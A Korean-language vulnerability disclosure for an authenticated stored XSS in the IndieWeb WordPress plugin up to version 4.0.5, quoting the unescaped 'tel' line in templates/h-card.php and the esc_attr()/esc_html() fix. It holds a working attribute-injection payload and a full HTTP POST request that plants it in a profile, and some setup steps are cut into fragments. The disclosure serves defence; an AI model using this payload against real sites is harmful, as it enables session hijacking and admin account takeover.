
IndieWeb 워드프레스 플러그인의 인증된 저장형 크로스 사이트 스크립팅(XSS)
면책 조항: 이 저장소는 교육 목적 및 윤리적 공개를 위해 생성되었습니다. 취약점은 공급업체에 책임 있게 보고되었으며 패치가 적용되었습니다. 이 정보를 승인 없이 시스템을 악용하는 데 사용하지 마십시오.
IndieWeb WordPress 플러그인(버전 <= 4.0.5)에서 저장형 크로스 사이트 스크립팅(Stored XSS) 취약점이 발견되었습니다. 이 취약점은 작가(Author) 이상의 권한을 가진 인증된 공격자가 자신의 사용자 프로필 "전화번호(Telephone)" 필드에 악성 JavaScript를 주입할 수 있게 합니다.
프런트엔드에 "작가 프로필 H-카드 위젯(Author Profile H-Card Widget)"이 표시될 때, 주입된 스크립트가 적절한 이스케이프 없이 렌더링됩니다. 관리자(Administrator)와 같은 높은 권한의 사용자가 조작된 링크를 클릭하면, 해당 스크립트가 그들의 브라우저 컨텍스트에서 실행됩니다. 이로 인해 세션 하이재킹, 무단 관리 작업, 완전한 계정 탈취(ATO)가 발생할 수 있습니다.
<= 4.0.5핵심 문제는 플러그인의 템플릿 시스템에서 사용자 메타데이터를 안전하지 않게 처리하는 데 있으며, 특히 WordPress 내장 이스케이프 함수를 사용하지 않는 데 있습니다.
취약한 파일: templates/h-card.php (27번째 줄)
<a class="p-tel tel" href="tel:<?php echo $user->get( 'tel' ); ?>"><?php echo $user->get( 'tel' ); ?></a>
결함:
플러그인이 echo를 사용하여 사용자의 tel 메타데이터를 href HTML 속성 안에 직접 출력하면서 esc_attr()로 감싸지 않았습니다. 이를 통해 공격자는 큰따옴표(")를 포함한 조작된 문자열을 제공하여 href 속성을 조기에 닫고, 그 뒤에 임의의 HTML 속성(예: style 또는 onclick)을 추가할 수 있습니다.
<= 4.0.5가 활성화된 WordPress 설치./wp-admin/profile.php)로 이동합니다.href 속성을 이스케이프 처리하여 벗어남):
Click_Me" style="background:#ff4444; color:white; padding:5px; display:inline-block;" onclick="alert(document.cookie);
is_single())에서만 렌더링됩니다.POST /wp-admin/profile.php HTTP/1.1
Host: TARGET
Content-Type: application/x-www-form-urlencoded
Cookie: [Author_Session_Cookies]
_wpnonce=[valid_nonce]&_wp_http_referer=%2Fwp-admin%2Fprofile.php&from=profile&checkuser_id=2&color-nonce=[nonce]&admin_color=fresh&admin_bar_front=1&first_name=&last_name=&nickname=attacker&display_name=attacker&email=attacker%40example.com&tel=Click_Me"%20style%3D"background%3A%23ff4444%3B%20color%3Awhite%3B%20padding%3A5px%3B%20display%3Ainline-block%3B"%20onclick%3D"alert(document.cookie)%3B&action=update&user_id=2&submit=Update+Profile
이 취약점을 패치하려면 플러그인 개발자가 WordPress의 esc_attr() 및 esc_html() 함수를 사용하여 출력을 적절히 이스케이프 처리해야 합니다.
패치된 코드 예시:
<a class="p-tel tel" href="tel:<?php echo esc_attr( $user->get( 'tel' ) ); ?>"><?php echo esc_html( $user->get( 'tel' ) ); ?></a>